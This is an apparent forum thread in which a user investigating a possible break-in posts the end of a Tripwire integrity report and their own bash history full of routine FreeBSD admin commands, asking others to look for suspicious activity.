* CRC32                ACTauD                      Dhoyo7                     
* MD5                  DECVm13YMvLGI4tl9yZr7+      DdYfGQYEs3malDypSnfM6s     



-------------------------------------------------------------------------------
Rule Name: Root's home (/root)
Severity Level: 100
-------------------------------------------------------------------------------
  ----------------------------------------
  Modified Objects: 1
  ----------------------------------------

Modified object name:  /root

  Property:            Expected                    Observed                   
  -------------        -----------                 -----------                 
* Modify Time          Wed Feb  1 10:16:44 2017    Sat Feb 18 10:31:37 2017   
* Change Time          Wed Feb  1 10:16:44 2017    Sat Feb 18 10:31:37 2017   



===============================================================================
Error Report:
===============================================================================

No Errors

-------------------------------------------------------------------------------
*** End of report ***

Open Source Tripwire 2.4 Portions copyright 2000 Tripwire, Inc. Tripwire is a registered
trademark of Tripwire, Inc. This software comes with ABSOLUTELY NO WARRANTY;
for details use --version. This is free software which may be redistributed
or modified only under certain conditions; see COPYING for details.
All rights reserved.
 
SirDice said:
Oh, just remembered. As they apparently did everything from your account have a look at the ~/.history (or ~/.bash_history if you use bash) file. Hopefully they weren't smart enough to clear the shell's history and left us lots of clues :)
Click to expand...

Alright. This is what I see in my .bash_history file for my account antonio. One quick overview of it and I do not see any commands that I didn't run myself. But check it out perhaps I missed something.

Code: 
~  (antonio)509 $id
uid=1001(antonio) gid=1001(users) groups=1001(users),0(wheel)
~  (antonio)510 $cat .bash_history
date
ps aux
netstat
top
uname -a
dmesg -a
p suax
ps aux
top
uname -a
dmesg -a
uname -a
ps aux
systat -ifstat
ps aux
top
ps aux
uname -a
dmesg -a
ps aux
top
uname -a
dmesg -a
netstat
su -
tmux attach
w
ps aux
tmux
ps aux
su -
su -
su -
ps aux
uptime
ps aux
dmesg -a
netstat
ls -liao
vi output
pwd
cat output
clear
cat output
hostname
su -
tmux
ps aux
mailq
ps aux
su -
ps aux
su -
su -
ps aux
ls -l
cat output
su -
ps aux
systat -ifstat
uname -a
su -
ps aux
su -
su -
w
ps aux
systat -ifstat
ps aux
ps aux
dmesg -a
netstat
ps aux
ps aux
tmux
su -
su -
ps aux
tmux
ps aux
dmesg -a
netstat
ps aux
pkg audit
uname -a
metstat -
netstat
pkg audit
tmux
ps aux
tmux
ps aux
pkg audit
su -
w
su -
tmux
ps aux
ps aux
ps aux
tmux
su -
ps aux
systat -ifstat
ps aux
uname -a
top
uname -a
dmesg -a
pkg audit
netstat
mailq
ps aux
pkg audit
uptime
w
df
systat -ifstat
ps aux
top
uname -a
pkg audit
dmesg -a
top
uname -a
netstat
systat -ifstat
systat -ifstat
pkg audit
netstat
uname -a
top
uname -a
pkg audit
netstat
uname -a
pkg audit
uname -a
netstat
ps aux
top
uname -a
pkg audit
su -
ps aux
systat -ifstat
ps aux
tmux
ps aux
su -
ps aux
tmux
ps aux
tmux
ps aux
netstat
w
ps aux
tmux
tmux attach
su -
tmux
ps aux
su -
w
su -
ps aux
netstat
su -
ps aux
w
tmux attach
su -
ps aux
tmux
ps aux
top
uname -a
pkg audit
dmesg -a
netstat
pkg audit
uname -a
dmesg -a
netstat
pkg audit
uname -a
ps aux
ps aux
su -
ps aux
pkg audit
tmux
su -
ps aux
tmux
ps aux
ps aux
dmesg -a
netstat
uptime
pkg audit
netstat
pkg audit
uname -a
netstat
top
uname -a
dmesg -a
pkg audit
ps aux
su -
tmux
ps aux
tmux
ps aux
netstat
su -
su -
ps aux
tmux
ls -liao
ls -l
file wolf3d.exe
ls -l
uptime
systat -ifstat
su -
pkg audit
uname -a
netstat
su -
ps aux
tmux
ps aux
su -
ps aux
tmux
su -
id
ls -liao
startx
ps aux
top
uname -a
dmesg -a
ps aux
uptime
systat -ifstat
ps aux
su -
hostname
su -
ps aux
tmux
ps aux
su -
ps aux
ps aux
uname -a
pkg audit
uname -a
netstat
pkg audit
ps aux
tmux
su -
ps aux
uname -a
ps aux
tmux
ps aux
tmux
ps aux
sysctl -a
top
uname -a
netstat
pkg audit
uname -a
netstat
top
uname -a
dmesg -a
netstat
ps aux
dmesg -a
netstat
ps aux
su -
ps aux
ps aux
netstat
su -
ps aux
tmux
ps aux
su -
pkg audit
ps aux
ps aux
uname -a
ps aux
top
uname -a
dmesg -a
pkg audit
netstat
mailq
ps aux
netstat
ps aux
su -
su -
ps aux
tmux
su -
ps aux
tmux
ps aux
ps aux
ps aux
w
su -
ps aux
tmux
ps aux
passwd
passwd
ps aux
su -
ps aux
su -
ps aux
su -
ps aux
su -
ps aux
ps aux
ps aux
ps aux
tmux
ps aux
uptime
w
systat -ifstat
systat -ifstat
ps aux
uname -a
netstat
pkg audit
uname -a
df
pkg audit
netstat
uname -a
uptime
ps aux
date
ps uax
w
tmux attach
w
su -
ps aux
tmux
su -
ps aux
top
tmux
hostname
ps aux
uname -a
last
cd /usr/sbin
ls -l
ls -G
uptime
id
ls -liao
ps aux
ls -liao
pkg audit
uname -a
netstat
ps aux
pkg audit
dmesg -a
top
uname -a
netstat
ps aux
ps aux
uptime
df
ps aux
ps aux
dmesg -a
netstat
top
uname -a
dmesg -a
ps aux
netstat
ps aux
pkg audit
uname -a
ps aux
dmesg -a
pkg audit
uptime
ps aux
tmux
ps aux
netstat
pkg audit
ps aux
last | head
ps aux
ps aux
uptime
w
ps aux
tmux
ps aux
ps aux
ps aux | grep -i httpd
pkg audit
uname -a
netstat
systat -ifstat
su -
ps aux
tmux
ps aux
su -
ps aux
uname -a
tmux
su -
ps aux
tmux
hostname
ps aux
cd /usr/sbin
ls -G
ls -G | grep -i htt
hostname
ps aux
uanme -a
ps aux
ps aux
su -
ls -ld /tmp
pwd
cd /tmp
pwd
for x in cat /home/antonio/removelist; do echo $x; done
for x in 'cat /home/antonio/removelist'; do echo $x; done
for x in `cat /home/antonio/removelist`; do echo $x; done
for x in `cat /home/antonio/removelist`; do echo $x; done
for x in `cat /home/antonio/removelist`; do echo $x; done
for x in `cat /home/antonio/removelist`; do echo $x; done
for x in `cat /home/antonio/removelist`; do echo $x; done
for x in `cat /home/antonio/removelist`; do echo $x; done
for x in `cat /home/antonio/removelist`; do echo $x; done
for x in `cat /home/antonio/removelist`; do echo $x; done
for x in `cat /home/antonio/removelist`; do echo $x; done
for x in `cat /home/antonio/removelist`; do echo $x; done
for x in `cat /home/antonio/removelist`; do echo $x; done
for x in `cat /home/antonio/removelist`; do echo $x; done
for x in `cat /home/antonio/removelist`; do echo $x; done
for x in `cat /home/antonio/removelist`; do echo $x; done
for x in `cat /home/antonio/removelist`; do echo $x; done
for x in `cat /home/antonio/removelist`; do echo $x; done
for x in `cat /home/antonio/removelist`; do echo $x; done
for x in `cat /home/antonio/removelist`; do echo $x; done
for x in `cat /home/antonio/removelist`; do echo $x; done
for x in `cat /home/antonio/removelist`; do echo $x; done
for x in `cat /home/antonio/removelist`; do ls -ld $x; done
man rm
for x in `cat /home/antonio/removelist`; do ls -ld $x; done
for x in `cat /home/antonio/removelist`; do rm -v $x; done
id
su
su
for x in `cat /home/antonio/removelist`; do ls -ld $x; done
cat /home/antonio/removelist
cat /home/antonio/removelist
su
ps aux
uptime
pwd
tmux
ps aux
last | head
su -
su -
ps aux
su -
~  (antonio)511 $
 
You must log in or register to reply here.
Back
Top